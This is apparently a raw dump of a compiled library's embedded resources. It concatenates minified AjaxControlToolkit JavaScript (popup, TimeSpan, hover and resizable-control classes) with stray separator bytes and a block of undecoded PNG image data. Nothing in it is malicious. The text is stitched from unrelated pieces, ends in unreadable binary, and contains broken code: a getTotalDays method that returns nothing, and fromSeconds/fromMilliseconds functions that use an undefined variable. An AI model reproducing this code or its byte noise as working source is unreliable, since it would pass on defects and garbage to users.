true},closePopup:function(){this._forclose_onmousedown$delegate!=null&&this._forclose_onmousedown$delegate(null)},dispose:function(){this._forclose_onmousedown$delegate!=null&&this._forclose_onmousedown$delegate(null);AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.callBaseMethod(this,"dispose")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup=function(a){AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.prototype={initialize:function(){AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.callBaseMethod(this,"initialize")},dispose:function(){AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.callBaseMethod(this,"dispose")}};AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup",AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup);pType.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup=function(a){AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.initializeBase(this,[a]);this._relatedElement=null};AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.prototype={get_relatedElement:function(){return this._relatedElement},set_relatedElement:function(a){this._relatedElement=a},open:function(j){var a=this;if(a._relatedElement!=null){var n=a;if(!a.checkCorrectLoaded(function(){n.open(j)}))return;var k=$common.getLocation(a._relatedElement),d=k.x,e=k.y+a._relatedElement.offsetHeight,b=a.get_element().parentNode;while(b&&b.tagName&&b.tagName.toUpperCase()!="BODY"){var f=AjaxControlToolkit.HTMLEditor.getStyle(b,"position");if(f=="absolute"||f=="fixed"){var m=parseInt(AjaxControlToolkit.HTMLEditor.getStyle(b,"top")),l=parseInt(AjaxControlToolkit.HTMLEditor.getStyle(b,"left"));if(!isNaN(m)&&!isNaN(l)){d-=l;e-=m}break}else if(f=="relative"){var g=$common.getLocation(b);d-=g.x;e-=g.y}b=b.parentNode}var c=AjaxControlToolkit.HTMLEditor.getClientViewportElement(a._iframe),i=c.clientWidth+c.scrollLeft,h=c.clientHeight+c.scrollTop;if(e<c.scrollTop)e=c.scrollTop;if(d<c.scrollLeft)d=c.scrollLeft;if(e+a._iframe.offsetHeight>h)e-=e+a._iframe.offsetHeight-h;if(d+a._iframe.offsetWidth>i)d-=d+a._iframe.offsetWidth-i;AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.callBaseMethod(a,"open",[j,e,d])}},close:function(a){AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.callBaseMethod(this,"close",[a])},initialize:function(){AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.callBaseMethod(this,"initialize")},dispose:function(){AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.callBaseMethod(this,"dispose")}};AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup",AjaxControlToolkit.HTMLEditor.Popups.Popup);�Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.TimeSpan=function(){var a=this;if(arguments.length==0)a._ctor$0.apply(a,arguments);else if(arguments.length==1)a._ctor$1.apply(a,arguments);else if(arguments.length==3)a._ctor$2.apply(a,arguments);else if(arguments.length==4)a._ctor$3.apply(a,arguments);else if(arguments.length==5)a._ctor$4.apply(a,arguments);else throw Error.parameterCount();};AjaxControlToolkit.TimeSpan.prototype={"_ctor$0":function(){this._ticks=0},"_ctor$1":function(a){this._ctor$0();this._ticks=a},"_ctor$2":function(c,a,b){this._ctor$0();this._ticks=c*AjaxControlToolkit.TimeSpan.TicksPerHour+a*AjaxControlToolkit.TimeSpan.TicksPerMinute+b*AjaxControlToolkit.TimeSpan.TicksPerSecond},"_ctor$3":function(d,c,a,b){this._ctor$0();this._ticks=d*AjaxControlToolkit.TimeSpan.TicksPerDay+c*AjaxControlToolkit.TimeSpan.TicksPerHour+a*AjaxControlToolkit.TimeSpan.TicksPerMinute+b*AjaxControlToolkit.TimeSpan.TicksPerSecond},"_ctor$4":function(e,d,b,c,a){this._ctor$0();this._ticks=e*AjaxControlToolkit.TimeSpan.TicksPerDay+d*AjaxControlToolkit.TimeSpan.TicksPerHour+b*AjaxControlToolkit.TimeSpan.TicksPerMinute+c*AjaxControlToolkit.TimeSpan.TicksPerSecond+a*AjaxControlToolkit.TimeSpan.TicksPerMillisecond},getDays:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerDay)},getHours:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerHour)%24},getMinutes:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerMinute)%60},getSeconds:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerSecond)%60},getMilliseconds:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerMillisecond)%1e3},getDuration:function(){return new AjaxControlToolkit.TimeSpan(Math.abs(this._ticks))},getTicks:function(){return this._ticks},getTotalDays:function(){Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerDay)},getTotalHours:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerHour)},getTotalMinutes:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerMinute)},getTotalSeconds:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerSecond)},getTotalMilliseconds:function(){return Math.floor(this._ticks/AjaxControlToolkit.TimeSpan.TicksPerMillisecond)},add:function(a){return new AjaxControlToolkit.TimeSpan(this._ticks+a.getTicks())},subtract:function(a){return new AjaxControlToolkit.TimeSpan(this._ticks-a.getTicks())},negate:function(){return new AjaxControlToolkit.TimeSpan(-this._ticks)},equals:function(a){return this._ticks==a.getTicks()},compareTo:function(a){if(this._ticks>a.getTicks())return 1;else if(this._ticks<a.getTicks())return -1;else return 0},toString:function(){return this.format("F")},format:function(a){if(!a)a="F";if(a.length==1)switch(a){case "t":a=AjaxControlToolkit.TimeSpan.ShortTimeSpanPattern;break;case "T":a=AjaxControlToolkit.TimeSpan.LongTimeSpanPattern;break;case "F":a=AjaxControlToolkit.TimeSpan.FullTimeSpanPattern;break;default:throw Error.createError(String.format(AjaxControlToolkit.Resources.Common_DateTime_InvalidTimeSpan,a));}var e=/dd|d|hh|h|mm|m|ss|s|nnnn|nnn|nn|n/g,c=new Sys.StringBuilder,d=this._ticks;if(d<0){c.append("-");d=-d}for(;true;){var f=e.lastIndex,b=e.exec(a);c.append(a.slice(f,b?b.index:a.length));if(!b)break;switch(b[0]){case "dd":case "d":c.append($common.padLeft(Math.floor(d/AjaxControlToolkit.TimeSpan.TicksPerDay,b[0].length,"0")));break;case "hh":case "h":c.append($common.padLeft(Math.floor(d/AjaxControlToolkit.TimeSpan.TicksPerHour)%24,b[0].length,"0"));break;case "mm":case "m":c.append($common.padLeft(Math.floor(d/AjaxControlToolkit.TimeSpan.TicksPerMinute)%60,b[0].length,"0"));break;case "ss":case "s":c.append($common.padLeft(Math.floor(d/AjaxControlToolkit.TimeSpan.TicksPerSecond)%60,b[0].length,"0"));break;case "nnnn":case "nnn":case "nn":case "n":c.append($common.padRight(Math.floor(d/AjaxControlToolkit.TimeSpan.TicksPerMillisecond)%1e3,b[0].length,"0",true));break;default:Sys.Debug.assert(false)}}return c.toString()}};AjaxControlToolkit.TimeSpan.parse=function(j){var b=".",a=j.split(":"),i=0,f=0,g=0,d=0,h=0,e=0;switch(a.length){case 1:if(a[0].indexOf(b)!=-1){var c=a[0].split(b);d=parseInt(c[0]);h=parseInt(c[1])}else e=parseInt(a[0]);break;case 2:f=parseInt(a[0]);g=parseInt(a[1]);break;case 3:f=parseInt(a[0]);g=parseInt(a[1]);if(a[2].indexOf(b)!=-1){var c=a[2].split(b);d=parseInt(c[0]);h=parseInt(c[1])}else d=parseInt(a[2]);break;case 4:i=parseInt(a[0]);f=parseInt(a[1]);g=parseInt(a[2]);if(a[3].indexOf(b)!=-1){var c=a[3].split(b);d=parseInt(c[0]);h=parseInt(c[1])}else d=parseInt(a[3])}e+=i*AjaxControlToolkit.TimeSpan.TicksPerDay+f*AjaxControlToolkit.TimeSpan.TicksPerHour+g*AjaxControlToolkit.TimeSpan.TicksPerMinute+d*AjaxControlToolkit.TimeSpan.TicksPerSecond+h*AjaxControlToolkit.TimeSpan.TicksPerMillisecond;if(!isNaN(e))return new AjaxControlToolkit.TimeSpan(e);throw Error.create(AjaxControlToolkit.Resources.Common_DateTime_InvalidFormat);};AjaxControlToolkit.TimeSpan.fromTicks=function(a){return new AjaxControlToolkit.TimeSpan(a)};AjaxControlToolkit.TimeSpan.fromDays=function(a){return new AjaxControlToolkit.TimeSpan(a*AjaxControlToolkit.TimeSpan.TicksPerDay)};AjaxControlToolkit.TimeSpan.fromHours=function(a){return new AjaxControlToolkit.TimeSpan(a*AjaxControlToolkit.TimeSpan.TicksPerHour)};AjaxControlToolkit.TimeSpan.fromMinutes=function(a){return new AjaxControlToolkit.TimeSpan(a*AjaxControlToolkit.TimeSpan.TicksPerMinute)};AjaxControlToolkit.TimeSpan.fromSeconds=function(){return new AjaxControlToolkit.TimeSpan(minutes*AjaxControlToolkit.TimeSpan.TicksPerSecond)};AjaxControlToolkit.TimeSpan.fromMilliseconds=function(){return new AjaxControlToolkit.TimeSpan(minutes*AjaxControlToolkit.TimeSpan.TicksPerMillisecond)};AjaxControlToolkit.TimeSpan.TicksPerDay=8.64e11;AjaxControlToolkit.TimeSpan.TicksPerHour=3.6e10;AjaxControlToolkit.TimeSpan.TicksPerMinute=6e8;AjaxControlToolkit.TimeSpan.TicksPerSecond=1e7;AjaxControlToolkit.TimeSpan.TicksPerMillisecond=1e4;AjaxControlToolkit.TimeSpan.FullTimeSpanPattern="dd:hh:mm:ss.nnnn";AjaxControlToolkit.TimeSpan.ShortTimeSpanPattern="hh:mm";AjaxControlToolkit.TimeSpan.LongTimeSpanPattern="hh:mm:ss";Date.prototype.getTimeOfDay=function(){var a=this;return new AjaxControlToolkit.TimeSpan(0,a.getHours(),a.getMinutes(),a.getSeconds(),a.getMilliseconds())};Date.prototype.getDateOnly=function(){return new Date(this.getFullYear(),this.getMonth(),this.getDate())};Date.prototype.add=function(a){return new Date(this.getTime()+a.getTotalMilliseconds())};Date.prototype.subtract=function(a){return this.add(a.negate())};Date.prototype.getTicks=function(){return this.getTime()*AjaxControlToolkit.TimeSpan.TicksPerMillisecond};AjaxControlToolkit.FirstDayOfWeek=function(){};AjaxControlToolkit.FirstDayOfWeek.prototype={Sunday:0,Monday:1,Tuesday:2,Wednesday:3,Thursday:4,Friday:5,Saturday:6,Default:7};AjaxControlToolkit.FirstDayOfWeek.registerEnum("AjaxControlToolkit.FirstDayOfWeek");GType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.HoverBehavior=function(c){var b=null,a=this;AjaxControlToolkit.HoverBehavior.initializeBase(a,[c]);a._elementHandlers=b;a._hoverElementHandlers=b;a._hoverElement=b;a._hoverCount=0;a._unhoverDelay=0;a._hoverDelay=0;a._hoverScript=b;a._unhoverScript=b;a._hoverFired=false};AjaxControlToolkit.HoverBehavior.prototype={_setupHandlersArray:function(){var a=this,b=[];b[0]=Function.createDelegate(a,a._onHover);b[1]=Function.createDelegate(a,a._onUnhover);return b},get_elementHandlers:function(){var a=this;if(!a._elementHandlers)a._elementHandlers=a._setupHandlersArray();return a._elementHandlers},get_hoverElementHandlers:function(){var a=this;if(!a._hoverElementHandlers)a._hoverElementHandlers=a._setupHandlersArray();return a._hoverElementHandlers},get_hoverElement:function(){return this._hoverElement},set_hoverElement:function(b){var a=this;if(b!=a._hoverElement){a._hoverElement&&a._setupHandlers(a._hoverElement,a.get_hoverElementHandlers(),false);a._hoverElement=b;a._hoverElement&&a._setupHandlers(a._hoverElement,a.get_hoverElementHandlers(),true)}},get_hoverDelay:function(){return this._hoverDelay},set_hoverDelay:function(a){this._hoverDelay=a;this.raisePropertyChanged("hoverDelay")},get_hoverScript:function(){return this._hoverScript},set_hoverScript:function(a){this._hoverScript=a},get_unhoverDelay:function(){return this._unhoverDelay},set_unhoverDelay:function(a){this._unhoverDelay=a;this.raisePropertyChanged("unhoverDelay")},get_unhoverScript:function(){return this._unhoverScript},set_unhoverScript:function(a){this._unhoverScript=a},dispose:function(){var a=this,c=a.get_element();if(a._elementHandlers){var b=a.get_elementHandlers();a._setupHandlers(c,b,false);a._elementHandlers=null}if(a._hoverElement){var b=a.get_hoverElementHandlers();a._setupHandlers(a._hoverElement,b,false);a._hoverElement=null}AjaxControlToolkit.HoverBehavior.callBaseMethod(a,"dispose")},initialize:function(){var a=this;AjaxControlToolkit.HoverBehavior.callBaseMethod(a,"initialize");var b=a.get_elementHandlers();a._setupHandlers(a.get_element(),b,true);if(a._hoverElement){b=a.get_hoverElementHandlers();a._setupHandlers(a._hoverElement,b,true)}},add_hover:function(a){this.get_events().addHandler("hover",a)},remove_hover:function(a){this.get_events().removeHandler("hover",a)},_fireHover:function(){var a=this;if(!a._hoverCount||a._hoverFired)return;var handler=a.get_events().getHandler("hover");handler&&handler(a,Sys.EventArgs.Empty);if(a._hoverScript)eval(a._hoverScript);a._hoverFired=true},_onHover:function(){var a=this;a._hoverCount++;if(!a._hoverDelay)a._fireHover();else window.setTimeout(Function.createDelegate(a,a._fireHover),a._hoverDelay)},add_unhover:function(a){this.get_events().addHandler("unhover",a)},remove_unhover:function(a){this.get_events().removeHandler("unhover",a)},_fireUnhover:function(){var a=this;if(a._hoverFired&&!a._hoverCount){a._hoverFired=false;var handler=a.get_events().getHandler("unhover");handler&&handler(a,Sys.EventArgs.Empty);if(a._unhoverScript)eval(a._unhoverScript)}},_onUnhover:function(){var a=this;a._hoverCount--;if(a._hoverCount<=0){a._hoverCount=0;if(!a._unhoverDelay)a._fireUnhover();else window.setTimeout(Function.createDelegate(a,a._fireUnhover),a._unhoverDelay)}},_setupHandlers:function(a,b,e){var d="mouseout",c="mouseover";if(!this.get_isInitialized()||!a)return;if(e){$addHandler(a,c,b[0]);$addHandler(a,"focus",b[0]);$addHandler(a,d,b[1]);$addHandler(a,"blur",b[1])}else{$removeHandler(a,c,b[0]);$removeHandler(a,"focus",b[0]);$removeHandler(a,d,b[1]);$removeHandler(a,"blur",b[1])}}};AjaxControlToolkit.HoverBehavior.descriptor={properties:[{name:"hoverElement",isDomElement:true},{name:"unhoverDelay",type:Number}],events:[{name:"hover"},{name:"unhover"}]};AjaxControlToolkit.HoverBehavior.registerClass("AjaxControlToolkit.HoverBehavior",AjaxControlToolkit.BehaviorBase);�%Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.ResizableControlBehavior=function(c){var b=null,a=this;AjaxControlToolkit.ResizableControlBehavior.initializeBase(a,[c]);a._HandleCssClass="";a._ResizableCssClass="";a._HandleOffsetX=0;a._HandleOffsetY=0;a._MinimumWidth=0;a._MinimumHeight=0;a._MaximumWidth=1e5;a._MaximumHeight=1e5;a._frame=b;a._handle=b;a._handleHolder=b;a._lining=b;a._tracking=false;a._lastClientX=0;a._lastClientY=0;a._onmouseoverDelegate=b;a._onmouseoutDelegate=b;a._onmousedownDelegate=b;a._onmousemoveDelegate=b;a._onmouseupDelegate=b;a._onselectstartDelegate=b};AjaxControlToolkit.ResizableControlBehavior.prototype={initialize:function(){var c="absolute",a=this;AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(a,"initialize");a._frame=a.get_element();var b=AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(a,"get_ClientState");if(b&&-1!=b.indexOf(",")){var d=b.split(",");a._frame.style.width=d[0]+"px";a._frame.style.height=d[1]+"px"}a._lining=document.createElement("DIV");a._lining.style.width=$common.getCurrentStyle(a._frame,"width");a._lining.style.height=$common.getCurrentStyle(a._frame,"height");a._lining.style.position=c;a._lining.style.backgroundColor="black";a._lining.style.opacity="0";a._lining.style.filter="progid:DXImageTransform.Microsoft.Alpha(opacity=0)";a._lining.style.visibility="hidden";a._frame.insertBefore(a._lining,a._frame.firstChild);a._handleHolder=document.createElement("DIV");a._handleHolder.style.width="0px";a._handleHolder.style.height="0px";a._handleHolder.style.position=Sys.Browser.agent===Sys.Browser.Opera?"relative":c;a._frame.insertBefore(a._handleHolder,a._frame.firstChild);a._handle=document.createElement("DIV");a._handle.className=a._HandleCssClass;a._handle.style.position=c;a._handleHolder.appendChild(a._handle);a._onmouseoverDelegate=Function.createDelegate(a,a._onmouseover);$addHandler(a._handle,"mouseover",a._onmouseoverDelegate);a._onmouseoutDelegate=Function.createDelegate(a,a._onmouseout);$addHandler(a._handle,"mouseout",a._onmouseoutDelegate);a._onmousedownDelegate=Function.createDelegate(a,a._onmousedown);$addHandler(a._handle,"mousedown",a._onmousedownDelegate);a._onmousemoveDelegate=Function.createDelegate(a,a._onmousemove);a._onmouseupDelegate=Function.createDelegate(a,a._onmouseup);a._onselectstartDelegate=Function.createDelegate(a,a._onselectstart);a._resizeControl(0,0,0,0);a._rememberSize()},dispose:function(){var c="mousedown",b=null,a=this;if(a._onmouseoverDelegate){$removeHandler(a._handle,"mouseover",a._onmouseoverDelegate);a._onmouseoverDelegate=b}if(a._onmouseoutDelegate){$removeHandler(a._handle,"mouseout",a._onmouseoutDelegate);a._onmouseoutDelegate=b}if(a._onmousedownDelegate){$removeHandler(a._handle,c,a._onmousedownDelegate);a._onmousedownDelegate=b}if(a._onmousemoveDelegate){a.tracking&&$removeHandler(document,"mousemove",a._onmousemoveDelegate);a._onmousemoveDelegate=b}if(a._onmouseupDelegate){a.tracking&&$removeHandler(document,"mouseup",a._onmouseupDelegate);a._onmouseupDelegate=b}if(a._onselectstartDelegate){if(a.tracking){$removeHandler(document,"selectstart",a._onselectstartDelegate);Sys.Browser.agent===Sys.Browser.Opera&&$removeHandler(document,c,a._onselectstartDelegate)}a._onselectstartDelegate=b}AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(a,"dispose")},_onmouseover:function(){Sys.UI.DomElement.addCssClass(this._frame,this._ResizableCssClass)},_onmouseout:function(){!this._tracking&&Sys.UI.DomElement.removeCssClass(this._frame,this._ResizableCssClass)},_onmousedown:function(a){if(!a)a=event;this._onmousedownImplementation(a.clientX,a.clientY)},_onmousedownImplementation:function(b,c){var a=this;a._tracking=true;a._resizeControl(b,c,0,0);a._lining.style.visibility="visible";$addHandler(document,"mousemove",a._onmousemoveDelegate);$addHandler(document,"mouseup",a._onmouseupDelegate);$addHandler(document,"selectstart",a._onselectstartDelegate);Sys.Browser.agent===Sys.Browser.Opera&&$addHandler(document,"mousedown",a._onselectstartDelegate);a.raiseResizeBegin()},_onmousemove:function(a){if(!a)a=event;this._onmousemoveImplementation(a.clientX,a.clientY)},_onmousemoveImplementation:function(b,c){var a=this;if(a._tracking){var d=b-a._lastClientX,e=c-a._lastClientY;a._resizeControl(b,c,d,e)}},_onmouseup:function(){var a=this;a._tracking=false;a._rememberSize();a._lining.style.visibility="hidden";$removeHandler(document,"mousemove",a._onmousemoveDelegate);$removeHandler(document,"mouseup",a._onmouseupDelegate);$removeHandler(document,"selectstart",a._onselectstartDelegate);Sys.Browser.agent===Sys.Browser.Opera&&$removeHandler(document,"mousedown",a._onselectstartDelegate);Sys.UI.DomElement.removeCssClass(a._frame,a._ResizableCssClass)},_onselectstart:function(a){a.preventDefault();return false},_resizeControl:function(g,h,i,j){var b="px",a=this;a._lastClientX=g;a._lastClientY=h;var d=Math.min(Math.max(a._lining.offsetWidth+i,Math.max(a._MinimumWidth,a._handle.offsetWidth)),a._MaximumWidth),c=Math.min(Math.max(a._lining.offsetHeight+j,Math.max(a._MinimumHeight,a._handle.offsetHeight)),a._MaximumHeight);a._lining.style.width=d+b;a._lining.style.height=c+b;a._frame.style.width=d+b;a._frame.style.height=c+b;var e=a._lining.offsetWidth-a._handle.offsetWidth+a._HandleOffsetX,f=a._lining.offsetHeight-a._handle.offsetHeight+a._HandleOffsetY;a._handle.style.left=e+b;a._handle.style.top=f+b;a.raiseResizing()},_rememberSize:function(){var a=this.get_Size();AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(this,"set_ClientState",[a.width+","+a.height]);this.raiseResize()},_measurementToNumber:function(a){return a.replace("px","")},get_HandleCssClass:function(){return this._HandleCssClass},set_HandleCssClass:function(b){var a="HandleCssClass";if(this._HandleCssClass)throw String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_CannotChangeProperty,a);this._HandleCssClass=b;this.raisePropertyChanged(a)},get_ResizableCssClass:function(){return this._ResizableCssClass},set_ResizableCssClass:function(b){var a="ResizableCssClass";if(this._ResizableCssClass)throw String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_CannotChangeProperty,a);this._ResizableCssClass=b;this.raisePropertyChanged(a)},get_HandleOffsetX:function(){return this._HandleOffsetX},set_HandleOffsetX:function(a){if(this._HandleOffsetX!=a){this._HandleOffsetX=a;this.raisePropertyChanged("HandleOffsetX")}},get_HandleOffsetY:function(){return this._HandleOffsetY},set_HandleOffsetY:function(a){if(this._HandleOffsetY!=a){this._HandleOffsetY=a;this.raisePropertyChanged("HandleOffsetY")}},get_MinimumWidth:function(){return this._MinimumWidth},set_MinimumWidth:function(a){if(this._MinimumWidth!=a){this._MinimumWidth=a;this.raisePropertyChanged("MinimumWidth")}},get_MinimumHeight:function(){return this._MinimumHeight},set_MinimumHeight:function(a){if(this._MinimumHeight!=a){this._MinimumHeight=a;this.raisePropertyChanged("MinimumHeight")}},get_MaximumWidth:function(){return this._MaximumWidth},set_MaximumWidth:function(a){if(this._MaximumWidth!=a){this._MaximumWidth=a;this.raisePropertyChanged("MaximumWidth")}},get_MaximumHeight:function(){return this._MaximumHeight},set_MaximumHeight:function(a){if(this._MaximumHeight!=a){this._MaximumHeight=a;this.raisePropertyChanged("MaximumHeight")}},add_resizing:function(a){this.get_events().addHandler("resizing",a)},remove_resizing:function(a){this.get_events().removeHandler("resizing",a)},raiseResizing:function(){var a=this.get_events().getHandler("resizing");a&&a(this,Sys.EventArgs.Empty)},get_resizing:function(){return this.get_events().getHandler("resizing")},set_resizing:function(a){if(a&&0<a.length){var b=$common.resolveFunction(a);if(b)this.add_resizing(b);else throw Error.argumentType("value",typeof a,"Function",String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_InvalidHandler,"resizing"));}},add_resize:function(a){this.get_events().addHandler("resize",a)},remove_resize:function(a){this.get_events().removeHandler("resize",a)},raiseResize:function(){var a=this.get_events().getHandler("resize");a&&a(this,Sys.EventArgs.Empty)},get_resize:function(){return this.get_events().getHandler("resize")},set_resize:function(a){if(a&&0<a.length){var b=$common.resolveFunction(a);if(b)this.add_resize(b);else throw Error.argumentType("value",typeof a,"Function",String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_InvalidHandler,"resize"));}},add_resizebegin:function(a){this.get_events().addHandler("resizebegin",a)},remove_resizebegin:function(a){this.get_events().removeHandler("resizebegin",a)},raiseResizeBegin:function(){var a=this.get_events().getHandler("resizebegin");a&&a(this,Sys.EventArgs.Empty)},get_resizebegin:function(){return this.get_events().getHandler("resizebegin")},set_resizebegin:function(a){if(a&&0<a.length){var b=$common.resolveFunction(a);if(b)this.add_resizebegin(b);else throw Error.argumentType("value",typeof a,"Function",String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_InvalidHandler,"resizebegin"));}},get_Size:function(){var a=this;return {width:a._measurementToNumber($common.getCurrentStyle(a._lining,"width")),height:a._measurementToNumber($common.getCurrentStyle(a._lining,"height"))}},set_Size:function(b){var a=this,c=b.width-a._measurementToNumber($common.getCurrentStyle(a._lining,"width")),d=b.height-a._measurementToNumber($common.getCurrentStyle(a._lining,"height"));a._resizeControl(0,0,c,d);a._rememberSize();a.raisePropertyChanged("Size")}};AjaxControlToolkit.ResizableControlBehavior.registerClass("AjaxControlToolkit.ResizableControlBehavior",AjaxControlToolkit.BehaviorBase);��PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڤ�KoW��֫����c0m���<H<`�,�,H�(B��D��ؐ]�����H�D�e��@��3Ba�@����Y�{ϙ���v�gIGU]]U�W�{��`f��M!�����k��z�b��W�.,�����q�i�r?@�'"�y0� 8f��m�}�g�h48��'a@��<�ѣG�����4M�RJ�?~��ŋm�dƔ1c����0�I1c������:��o��R�T���&�YZ1@���+7nܸ���o�}��+�zP��͛=�����0�c ��_}����۱c�!)�ff!��j�D�PJ�n��z�ʕ�s��]�p��C]1��i<77�D��{�1L�v����|���C���8N��Q��a��'�.?�"�V�-��G�Ϝ9�5���Jl�K�.�#G�L�e���S\�p����r��RfN�WO!���ȀfA�7n�����.�,���[��V_�N��0��$A������;�Tgff���;�����	9|f.����cf����:�R6���79r��+����B�8v�XcM� ؽ{�� Ɖ(&"bf�=x�X0s`���Z+!D{۶m8�����ǵR�c�8�a{��?��M���J)�̮�`~�X��gf��\"r�,K�0��}��߿��k�1�{6C/f*�������?
�a�TW�0�'��w!�#�����d��-��ZgJ���O?]�V�;\�9�Y��j�S�����L!�֚�W<�"B��u\�/0����j�)�hzzzb��ݛM��!�?�V�����B�0�eY��BJ�
